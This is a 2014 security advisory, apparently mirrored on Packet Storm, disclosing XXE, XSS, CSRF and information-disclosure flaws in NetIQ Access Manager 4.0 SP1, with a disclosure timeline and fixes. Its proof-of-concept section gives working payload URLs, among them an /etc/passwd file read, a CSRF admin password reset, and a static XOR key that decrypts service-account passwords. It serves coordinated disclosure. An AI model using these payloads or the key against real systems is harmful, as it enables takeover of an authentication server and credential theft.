what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

NetIQ Access Manager 4.0 SP1 XSS / CSRF / XXE Injection / Disclosure

NetIQ Access Manager 4.0 SP1 XSS / CSRF / XXE Injection / Disclosure
Posted Dec 19, 2014
Authored by Wolfgang Ettlinger | Site sec-consult.com

NetIQ Access Manager version 4.0 SP1 suffers from cross site request forgery, external entity injection, information disclosure, and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, info disclosure, csrf
advisories | CVE-2014-5214, CVE-2014-5215, CVE-2014-5216, CVE-2014-5217
SHA-256 | 320f0bd45b1d76c447e2f9652fd8ee7c2db0f94b4c3c1ff00b05f978a6cc03b0

NetIQ Access Manager 4.0 SP1 XSS / CSRF / XXE Injection / Disclosure

Change Mirror Download
SEC Consult Vulnerability Lab Security Advisory < 20141218-2 >
=======================================================================
title: Multiple high risk vulnerabilities
product: NetIQ Access Manager
vulnerable version: 4.0 SP1
fixed version: 4.0 SP1 Hot Fix 3
CVE number: CVE-2014-5214, CVE-2014-5215, CVE-2014-5216,
CVE-2014-5217
impact: High
homepage: https://www.netiq.com/
found: 2014-10-29
by: W. Ettlinger
SEC Consult Vulnerability Lab
https://www.sec-consult.com
=======================================================================

Vendor/product description:
---------------------------
"As demands for secure web access expand and delivery becomes increasingly
complex, organizations face some formidable challenges. Access Manager
provides a simple yet secure and scalable solution that can handle all your
web access needs—both internal as well as in the cloud."

URL: https://www.netiq.com/products/access-manager/


Business recommendation:
------------------------
An attacker without an account on the NetIQ Access Manager is be able to gain
administrative access by combining different attack vectors. Though this host
may not always be accessible from a public network, an attacker is still able
to compromise the system when directly targeting administrative users.

Because the NetIQ Access Manager is used for authentication, an attacker
compromising the system can use it to gain access to other systems.

SEC Consult highly recommends that this software is not used until a full
security review has been performed and all issues have been resolved.


Vulnerability overview/description:
-----------------------------------
1) XML eXternal Entity Injection (XXE, CVE-2014-5214)
Authenticated administrative users can download arbitrary files from the Access
Manager administration interface as the user "novlwww".

The vendor provided the following KB link:
https://www.novell.com/support/kb/doc.php?id=7015993


2) Reflected Cross Site Scripting (XSS, CVE-2014-5216)
Multiple reflected cross site scripting vulnerabilities were found. These
allow effective attacks of administrative and SSLVPN sessions.

The vendor provided the following KB link:
https://www.novell.com/support/kb/doc.php?id=7015994


3) Persistent Site Scripting (XSS, CVE-2014-5216)
A persistent cross site scripting vulnerability was found. This allows
effective attacks of administrative and SSLVPN sessions.

The vendor provided the following KB link:
https://www.novell.com/support/kb/doc.php?id=7015996


4) Cross Site Request Forgery (CVE-2014-5217)
The Access Manager administration interface does not have CSRF protection.

The vendor provided the following KB link:
https://www.novell.com/support/kb/doc.php?id=7015997


5) Information Disclosure (CVE-2014-5215)
Authenticated users of the administration interface can gain authentication
information of internal administrative users.

The vendor provided the following KB link:
https://www.novell.com/support/kb/doc.php?id=7015995


By combining all of the above vulnerabilities (CSRF, XSS, XXE) an
unauthenticated, non-admin user may gain full access to the system!


Proof of concept:
-----------------
1) XML eXternal Entity Injection (XXE)
As an example, the following URL demonstrates the retrieval of the /etc/passwd
file as an authenticated administrative user:

https://<host>:8443/nps/servlet/webacc?taskId=fw.PreviewObjectFilter&nextState=initialState&merge=fw.TCPreviewFilter&query=<!DOCTYPE+request+[%0a<!ENTITY+include+SYSTEM+"/etc/passwd">%0a]><query><container>%26include%3b</container><subclasses>false</subclasses></query>


2) Reflected Cross Site Scripting (XSS)
The following URLs demonstrate different reflected XSS flaws in the
administration interface and the user interface.

https://<host>:8443/nps/servlet/webacc?taskId=dev.Empty&merge=dm.GenericTask&location=/roma/jsp/admin/view/main.jss'%2balert+('xss')%2b'

https://<host>:8443/roma/jsp/debug/debug.jsp?xss=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

https://<host>:8443//nps/servlet/webacc?taskId=debug.DumpAll&xss=%3Cimg%20src=%22/404%22%20onerror=%22alert+%28%27xss%27%29%22%3E

https://<host>/nidp/jsp/x509err.jsp?error=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

https://<host>/sslvpn/applet_agent.jsp?lang=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E


3) Persistent Site Scripting (XSS)
The following URL injects a stored script on the auditing page:

https://<host>:8443/roma/system/cntl?handler=dispatcher&command=auditsave&&secureLoggingServersA='){}};alert('xss');function+x(){if('&port=1289


4) Cross Site Request Forgery
As an example, an attacker is able to change the administration password to
'12345' by issuing a GET request in the context of an authenticated
administrator. The old password is not necessary for this attack!

https://<host>:8443/nps/servlet/webacc?taskId=fw.SetPassword&nextState=doSetPassword&merge=dev.GenConf&selectedObject=P%3Aadmin.novellP&single=admin.novell&SetPswdNewPassword=12345&SetPswdVerifyPassword=12345


5) Information Disclosure
The following URLs disclose several useful information to an authenticated
account:

https://<host>:8443/roma/jsp/volsc/monitoring/dev_services.jsp
https://<host>:8443/roma/jsp/debug/debug.jsp

The disclosed system properties:
com.volera.vcdn.monitor.password
com.volera.vcdn.alert.password
com.volera.vcdn.sync.password
com.volera.vcdn.scheduler.password
com.volera.vcdn.publisher.password
com.volera.vcdn.application.sc.scheduler.password
com.volera.vcdn.health.password

The static string "k~jd)*L2;93=Gjs" is XORed with these values in order
to decrypt passwords of internally used service accounts.



By combining all of the above vulnerabilities (CSRF, XSS, XXE) an
unauthenticated, non-admin user may gain full access to the system!


Vulnerable / tested versions:
-----------------------------
The vulnerabilities have been verified to exist in the NetIQ Access Manager
version 4.0 SP1, which was the most recent version at the time of discovery.


Vendor contact timeline:
------------------------
2014-10-29: Contacting security@netiq.com, sending responsible disclosure
policy and PGP keys
2014-10-29: Vendor redirects to security@novell.com, providing PGP keys
through Novell support page
2014-10-30: Sending encrypted security advisory to Novell
2014-10-30: Novell acknowledges the receipt of the advisory
2014-12-16: Novell: the vulnerability fixes will be released tomorrow;
The CSRF vulnerability will not be fixed immediately
("Since this can be done only after an authorized login");
two XSS vulnerabilities can not be exploited ("We could not
take advantage or retrieve any cookie info on the server
side - it looks like it's a client side cross scripting
attack.")
2014-12-16: Explaining why those vulnerabilities can be exploited
2014-12-17: Novell: Fix will be released tomorrow
2014-12-17: Verifying release of advisory tomorrow
2014-12-18: Novell: Advisory can be released
2014-12-18: Coordinated release of security advisory


Solution:
---------
Update to the latest available of Access Manager and implement workarounds
mentioned in the KB articles by Novell linked above.


Workaround:
-----------
For some vulnerabilities, Novell provides best practice recommendations in the
URLs linked above.


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab

SEC Consult
Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius - Zurich

Headquarter:
Mooslackengasse 17, 1190 Vienna, Austria
Phone: +43 1 8903043 0
Fax: +43 1 8903043 15

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

Interested to work with the experts of SEC Consult?
Write to career@sec-consult.com

EOF W. Ettlinger / @2014

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    0 Files
  • 7
    Mar 7th
    0 Files
  • 8
    Mar 8th
    0 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close